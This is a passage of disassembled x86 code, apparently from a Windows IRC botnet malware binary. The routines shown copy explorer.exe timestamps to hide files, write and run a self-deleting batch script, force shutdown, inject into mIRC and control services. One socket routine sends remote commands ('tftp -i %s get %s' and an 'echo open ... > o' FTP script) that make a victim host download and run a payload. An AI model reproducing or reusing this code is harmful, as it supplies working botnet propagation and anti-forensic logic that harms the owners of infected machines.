		pop	ecx


loc_415CF4:				; CODE XREF: sub_415C6E+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_415CFB
; ---------------------------------------------------------------------------


loc_415CF9:				; CODE XREF: sub_415C6E+Cj
					; sub_415C6E+13j ...
		xor	eax, eax


loc_415CFB:				; CODE XREF: sub_415C6E+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_415C6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415CFF	proc near		; CODE XREF: sub_401B49+E9p
					; sub_40FD11+F4p

var_7D0		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	0
		push	eax
		call	sub_41B190
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_418D00
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_415D35
		or	eax, 0FFFFFFFFh
		jmp	short loc_415DA8
; ---------------------------------------------------------------------------


loc_415D35:				; CODE XREF: sub_415CFF+2Fj
		xor	ecx, ecx
		mov	[ebp+var_7D0], esi
		test	eax, eax
		jle	short loc_415D57


loc_415D41:				; CODE XREF: sub_415CFF+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_415D4E
		cmp	dl, 0Dh
		jnz	short loc_415D52


loc_415D4E:				; CODE XREF: sub_415CFF+48j
		and	byte ptr [ecx+esi], 0


loc_415D52:				; CODE XREF: sub_415CFF+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_415D41


loc_415D57:				; CODE XREF: sub_415CFF+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_415D88
		lea	edi, [ebp+var_7CC]


loc_415D64:				; CODE XREF: sub_415CFF+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_415D83
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_415D83
		cmp	ebx, 1F4h
		jge	short loc_415D88
		mov	[edi], ecx
		inc	ebx
		add	edi, 4


loc_415D83:				; CODE XREF: sub_415CFF+69j
					; sub_415CFF+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_415D64


loc_415D88:				; CODE XREF: sub_415CFF+5Dj
					; sub_415CFF+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_415DA6
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	near ptr sub_41C8D0
		add	esp, 0Ch


loc_415DA6:				; CODE XREF: sub_415CFF+8Ej
		mov	eax, ebx


loc_415DA8:				; CODE XREF: sub_415CFF+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_415CFF	endp


; =============== S U B	R O U T	I N E =======================================



sub_415DAC	proc near		; CODE XREF: sub_415E06+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_415DE5
		push	ebx
		mov	ebx, edi


loc_415DC9:				; CODE XREF: sub_415DAC+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_415DE8
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_415DC9
		pop	ebx


loc_415DE5:				; CODE XREF: sub_415DAC+18j
		pop	edi
		pop	esi
		retn
sub_415DAC	endp


; =============== S U B	R O U T	I N E =======================================



sub_415DE8	proc near		; CODE XREF: sub_415DAC+25p
					; sub_415E06+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_41E550
		cmp	al, 61h
		pop	ecx
		jl	short loc_415E03
		cmp	al, 7Ah
		jg	short loc_415E03
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------


loc_415E03:				; CODE XREF: sub_415DE8+Ej
					; sub_415DE8+12j
		xor	eax, eax
		retn
sub_415DE8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415E06	proc near		; CODE XREF: .nsp0:00414693p
					; .nsp0:00414718p ...

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_41BC60
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_418D00
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_418D00
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_415DAC
		add	esp, 14h
		dec	esi
		mov	edi, esi


loc_415E44:				; CODE XREF: sub_415E06+B6j
		test	esi, esi
		jle	short loc_415EC2
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41E550
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_41E550
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_415EBA


loc_415E6A:				; CODE XREF: sub_415E06+B2j
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_415DE8
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_415E8B
		mov	eax, ecx


loc_415E8B:				; CODE XREF: sub_415E06+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_415EBE
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41E550
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax
		mov	[ebp+var_8], edx
		call	sub_41E550
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_415E6A


loc_415EBA:				; CODE XREF: sub_415E06+62j
		dec	edi
		dec	esi
		jmp	short loc_415E44
; ---------------------------------------------------------------------------


loc_415EBE:				; CODE XREF: sub_415E06+8Aj
		xor	eax, eax
		jmp	short loc_415EC7
; ---------------------------------------------------------------------------


loc_415EC2:				; CODE XREF: sub_415E06+40j
		mov	eax, [ebp+arg_0]
		add	eax, edi


loc_415EC7:				; CODE XREF: sub_415E06+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_415E06	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415ECC	proc near		; CODE XREF: sub_401CC1+5F54p
					; sub_401CC1+6B17p

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		call	dword_4F1348	; RtlGetLastWin32Error
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		call	dword_4F13F4	; FormatMessageA
		lea	eax, [ebp+var_100]


loc_415F05:				; CODE XREF: sub_415ECC+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_415F11
		cmp	cl, 9
		jnz	short loc_415F14


loc_415F11:				; CODE XREF: sub_415ECC+3Ej
		inc	eax
		jmp	short loc_415F05
; ---------------------------------------------------------------------------


loc_415F14:				; CODE XREF: sub_415ECC+43j
					; sub_415ECC+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_415F2E
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_415F14
		cmp	cl, 21h
		jl	short loc_415F14


loc_415F2E:				; CODE XREF: sub_415ECC+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_4EED04
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_41B910
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_415ECC	endp


; =============== S U B	R O U T	I N E =======================================



sub_415F56	proc near		; CODE XREF: sub_401CC1+1FFFp
		push	esi
		push	0
		call	dword_4E0870
		test	eax, eax
		jz	short loc_415F8D
		push	1
		call	dword_4E0890
		mov	esi, eax
		test	esi, esi
		jz	short loc_415F8D
		push	edi
		push	esi
		call	dword_4F13FC	; GlobalLock
		push	esi
		mov	edi, eax
		call	dword_4F13F8	; GlobalUnlock
		call	dword_4E08F0
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_415F8D:				; CODE XREF: sub_415F56+Bj
					; sub_415F56+19j
		xor	eax, eax
		pop	esi
		retn
sub_415F56	endp


; =============== S U B	R O U T	I N E =======================================



sub_415F91	proc near		; CODE XREF: sub_401CC1+6A8Dp

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		xor	esi, esi
		push	esi
		push	offset aMirc_2	; "mIRC"
		call	dword_4E08AC
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_416011
		push	ebx
		push	edi
		push	offset aMirc_3	; "mIRC"
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		call	dword_4F1408	; CreateFileMappingA
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		call	dword_4F1404	; MapViewOfFile
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41B740
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_4E08F8
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_4E08F8
		push	ebx
		call	dword_4F1400	; UnmapViewOfFile
		push	edi
		call	dword_4F1324	; CloseHandle
		push	1
		pop	eax
		pop	edi
		pop	ebx
		jmp	short loc_416013
; ---------------------------------------------------------------------------


loc_416011:				; CODE XREF: sub_415F91+14j
		xor	eax, eax


loc_416013:				; CODE XREF: sub_415F91+7Ej
		pop	esi
		pop	ebp
		retn
sub_415F91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416016	proc near		; CODE XREF: sub_40141B+20Fp

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_4E0958
		test	eax, eax
		jz	short loc_4160B5
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, dword_4F13A8
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_4160B5
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	dword_4F1410	; GetFileTime
		push	ebx
		mov	ebx, dword_4F1324
		call	ebx	; CloseHandle
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4160B5
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_4F140C	; SetFileTime
		push	esi
		call	ebx	; CloseHandle


loc_4160B5:				; CODE XREF: sub_416016+2Aj
					; sub_416016+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416016	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 454h
		push	esi
		xor	esi, esi
		push	10h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		call	sub_41B190
		push	44h
		lea	eax, [ebp-54h]
		push	esi
		push	eax
		call	sub_41B190
		push	dword ptr [ebp+0Ch]
		lea	eax, [ebp-454h]
		mov	dword ptr [ebp-54h], 44h
		mov	dword ptr [ebp-28h], 1
		push	dword ptr [ebp+8]
		mov	[ebp-24h], si
		push	offset aSS_5	; "%s %s"
		push	400h
		push	eax
		call	sub_41B910
		add	esp, 2Ch
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-54h]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp-454h]
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4F1328	; CreateProcessA
		neg	eax
		sbb	eax, eax
		pop	esi
		and	eax, [ebp-8]
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_416138	proc near		; CODE XREF: sub_401CC1+1339p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_417572
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_4E07F0
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_416138	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41615A	proc near		; CODE XREF: sub_401CC1+2291p
					; sub_414A1D+472p

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_43A090, esi
		push	edi
		jz	short loc_41617E
		cmp	dword_4E096C, esi
		jnz	short loc_41617E
		push	esi
		call	sub_401000
		pop	ecx


loc_41617E:				; CODE XREF: sub_41615A+13j
					; sub_41615A+1Bj
		call	sub_40A9C6
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		call	dword_4F136C	; GetTempPathA
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_41B740
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		call	dword_4F13A8	; CreateFileA
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_4162DE
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_41B740
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_418D00
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		call	dword_4F139C	; WriteFile
		push	edi
		call	dword_4F1324	; CloseHandle
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41B190
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B190
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset dword_4EEF08
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		call	dword_4F1358	; GetModuleHandleA
		push	eax
		call	dword_4F132C	; GetModuleFileNameA
		lea	eax, [ebp+var_15C]
		push	eax
		call	dword_4F1354	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_416286
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		call	dword_4F1350	; SetFileAttributesA


loc_416286:				; CODE XREF: sub_41615A+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_41B740
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	dword_4F1414	; ExpandEnvironmentStringsA
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		call	dword_4F1328	; CreateProcessA


loc_4162DE:				; CODE XREF: sub_41615A+72j
		pop	edi
		pop	esi
		leave
		retn
sub_41615A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4162E2	proc near		; CODE XREF: sub_401CC1+68A9p

var_294		= byte ptr -294h
var_94		= dword	ptr -94h
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 294h
		push	edi
		xor	edi, edi
		push	94h
		lea	eax, [ebp+var_94]
		push	edi
		push	eax
		call	sub_41B190
		add	esp, 0Ch
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		call	dword_4F1384	; GetVersionExA
		cmp	[ebp+var_84], 2
		jnz	short loc_416378
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		call	dword_4E082C
		push	edi
		push	eax
		call	dword_4E0838
		test	eax, eax
		jz	short loc_41636A
		push	[ebp+arg_10]
		push	offset dword_44F61C


loc_416343:				; CODE XREF: sub_4162E2+94j
		lea	eax, [ebp+var_294]
		push	eax
		call	sub_41B740
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408EB9
		add	esp, 20h
		jmp	short loc_4163A2
; ---------------------------------------------------------------------------


loc_41636A:				; CODE XREF: sub_4162E2+57j
		call	dword_4F1348	; RtlGetLastWin32Error
		push	eax
		push	offset unk_44F638
		jmp	short loc_416343
; ---------------------------------------------------------------------------


loc_416378:				; CODE XREF: sub_4162E2+3Fj
		lea	eax, [ebp+var_294]
		push	offset unk_44F660
		push	eax
		call	sub_41B740
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408EB9
		add	esp, 1Ch


loc_4163A2:				; CODE XREF: sub_4162E2+86j
		pop	edi
		leave
		retn
sub_4162E2	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	10h
		lea	eax, [ebp-10h]
		push	edi
		push	eax
		call	sub_41B190
		add	esp, 0Ch
		lea	eax, [ebp+0Ch]
		mov	word ptr [ebp-10h], 2
		push	eax
		call	dword_4E08DC
		push	dword ptr [ebp+0C4h]
		mov	[ebp-0Ch], eax
		call	dword_4E08A0
		push	edi
		push	1
		push	2
		mov	[ebp-0Eh], ax
		call	dword_4E091C
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+0C4h], esi
		jz	loc_4164A8
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	esi
		call	dword_4E084C
		cmp	eax, 0FFFFFFFFh
		jz	loc_4164A8
		mov	ebx, 400h
		push	edi
		lea	eax, [ebp-5A0h]
		push	ebx
		push	eax
		push	esi
		call	dword_4E08B8
		mov	esi, offset byte_43A0E8
		push	esi
		push	esi
		push	dword ptr [ebp+8]
		call	sub_40A019
		pop	ecx
		mov	edi, 190h
		push	eax
		push	offset aTftpISGetSS ; "tftp -i %s get %s &%s\r\n"
		lea	eax, [ebp-1A0h]
		push	edi
		push	eax
		call	sub_41B910
		movzx	eax, word ptr dword_4E05C8
		add	esp, 18h
		push	esi
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40A019
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOE_0 ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp-1A0h]
		push	edi
		push	eax
		call	sub_41B910
		add	esp, 1Ch
		lea	eax, [ebp-1A0h]
		push	0
		push	eax
		call	sub_418D00
		pop	ecx
		push	eax
		lea	eax, [ebp-1A0h]
		push	eax
		push	dword ptr [ebp+0C4h]
		call	dword_4E08EC
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4164AC


loc_4164A8:				; CODE XREF: .nsp0:004163FBj
					; .nsp0:00416411j
		xor	al, al
		jmp	short loc_4164D0
; ---------------------------------------------------------------------------


loc_4164AC:				; CODE XREF: .nsp0:004164A6j
		push	0
		lea	eax, [ebp-5A0h]
		push	ebx
		push	eax
		push	dword ptr [ebp+0C4h]
		call	dword_4E08B8
		push	dword ptr [ebp+0C4h]
		call	dword_4E0934
		mov	al, 1


loc_4164D0:				; CODE XREF: .nsp0:004164AAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4164D5	proc near		; CODE XREF: sub_401CC1+4DC3p

var_1C0		= byte ptr -1C0h
var_15C		= byte ptr -15Ch
var_F8		= byte ptr -0F8h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C0h
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		call	dword_4F1384	; GetVersionExA
		cmp	[ebp+var_90], 4
		jnz	short loc_41652B
		cmp	[ebp+var_8C], 0
		jnz	short loc_416514
		push	1
		pop	eax
		cmp	[ebp+var_84], eax
		jnz	short loc_41652B
		leave
		retn
; ---------------------------------------------------------------------------


loc_416514:				; CODE XREF: sub_4164D5+30j
		cmp	[ebp+var_8C], 0Ah
		jz	short loc_416526
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_41652B


loc_416526:				; CODE XREF: sub_4164D5+46j
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_41652B:				; CODE XREF: sub_4164D5+27j
					; sub_4164D5+3Bj ...
		push	esi
		push	edi
		push	offset aNetapi32_dll_0 ; "netapi32.dll"
		call	dword_4F1374	; LoadLibraryA
		mov	esi, eax
		push	offset aNetmessagebu_0 ; "NetMessageBufferSend"
		push	esi
		call	dword_4F1378	; GetProcAddress
		push	32h
		mov	edi, eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C0]
		push	eax
		call	sub_41E750
		push	32h
		lea	eax, [ebp+var_15C]
		push	[ebp+arg_4]
		push	eax
		call	sub_41E750
		push	32h
		lea	eax, [ebp+var_F8]
		push	[ebp+arg_8]
		push	eax
		call	sub_41E750
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_41E720
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_1C0]
		push	eax
		push	0
		call	edi	; GetTickCount
		add	esp, 3Ch
		mov	edi, eax
		push	esi
		call	dword_4F1418	; FreeLibrary
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_4164D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4165B5	proc near		; CODE XREF: sub_401317+F7p
					; sub_40E1EC+Ap ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		call	dword_4F1364	; GetTickCount
		push	eax
		call	sub_41B840
		pop	ecx
		call	sub_41B850
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_4374E0
		call	sub_41CEBC
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_4165B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4165F2	proc near		; CODE XREF: sub_401CC1+3D3Fp
					; sub_401CC1+3DA0p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_416657
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	dword_44F738[esi]
		push	edi
		push	eax
		call	sub_416679
		add	esp, 14h
		test	eax, eax
		jnz	short loc_41663A
		push	edi
		push	off_44F734[esi]
		mov	esi, offset dword_4EF5CC
		push	offset unk_44F7F8
		push	esi
		call	sub_41B740
		add	esp, 10h
		jmp	short loc_416674
; ---------------------------------------------------------------------------


loc_41663A:				; CODE XREF: sub_4165F2+2Aj
		push	eax
		call	sub_41671B
		push	eax
		push	edi
		mov	esi, offset dword_4EF5CC
		push	offset unk_44F814
		push	esi
		call	sub_41B740
		add	esp, 14h
		jmp	short loc_416674
; ---------------------------------------------------------------------------


loc_416657:				; CODE XREF: sub_4165F2+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_4EF5CC
		push	off_44F730[eax*4]
		push	offset unk_44F840
		push	esi
		call	sub_41B740
		add	esp, 0Ch


loc_416674:				; CODE XREF: sub_4165F2+46j
					; sub_4165F2+63j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_4165F2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416679	proc near		; CODE XREF: sub_4165F2+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_4E0894
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_4166A0
		call	dword_4F1348	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_416715
; ---------------------------------------------------------------------------


loc_4166A0:				; CODE XREF: sub_416679+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_4E078C
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_4166C0
		call	dword_4F1348	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_41670D
; ---------------------------------------------------------------------------


loc_4166C0:				; CODE XREF: sub_416679+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_4166F3
		cmp	eax, 3
		jz	short loc_4166E4
		jle	short loc_416706
		cmp	eax, 6
		jg	short loc_416706
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_4E07F8
		jmp	short loc_4166FA
; ---------------------------------------------------------------------------


loc_4166E4:				; CODE XREF: sub_416679+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_4E0794
		jmp	short loc_4166FA
; ---------------------------------------------------------------------------


loc_4166F3:				; CODE XREF: sub_416679+4Dj
		push	esi
		call	dword_4E07FC


loc_4166FA:				; CODE XREF: sub_416679+69j
					; sub_416679+78j
		test	eax, eax
		jnz	short loc_416706
		call	dword_4F1348	; RtlGetLastWin32Error
		mov	ebx, eax


loc_416706:				; CODE XREF: sub_416679+54j
					; sub_416679+59j ...
		push	esi
		call	dword_4E07A8


loc_41670D:				; CODE XREF: sub_416679+45j
		push	edi
		call	dword_4E07A8
		pop	esi


loc_416715:				; CODE XREF: sub_416679+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_416679	endp


; =============== S U B	R O U T	I N E =======================================



sub_41671B	proc near		; CODE XREF: sub_4165F2+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_4167D0
		jz	loc_4167C9
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_416793
		jz	short loc_416789
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_41677F
		dec	ecx
		dec	ecx
		jz	short loc_416775
		dec	ecx
		jz	short loc_41676B
		sub	ecx, 51h
		jz	short loc_416761
		sub	ecx, 24h
		jnz	loc_416846	; default
					; jumptable 004167ED cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_416838
; ---------------------------------------------------------------------------


loc_416761:				; CODE XREF: sub_41671B+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_416838
; ---------------------------------------------------------------------------


loc_41676B:				; CODE XREF: sub_41671B+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_416838
; ---------------------------------------------------------------------------


loc_416775:				; CODE XREF: sub_41671B+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_416838
; ---------------------------------------------------------------------------


loc_41677F:				; CODE XREF: sub_41671B+25j
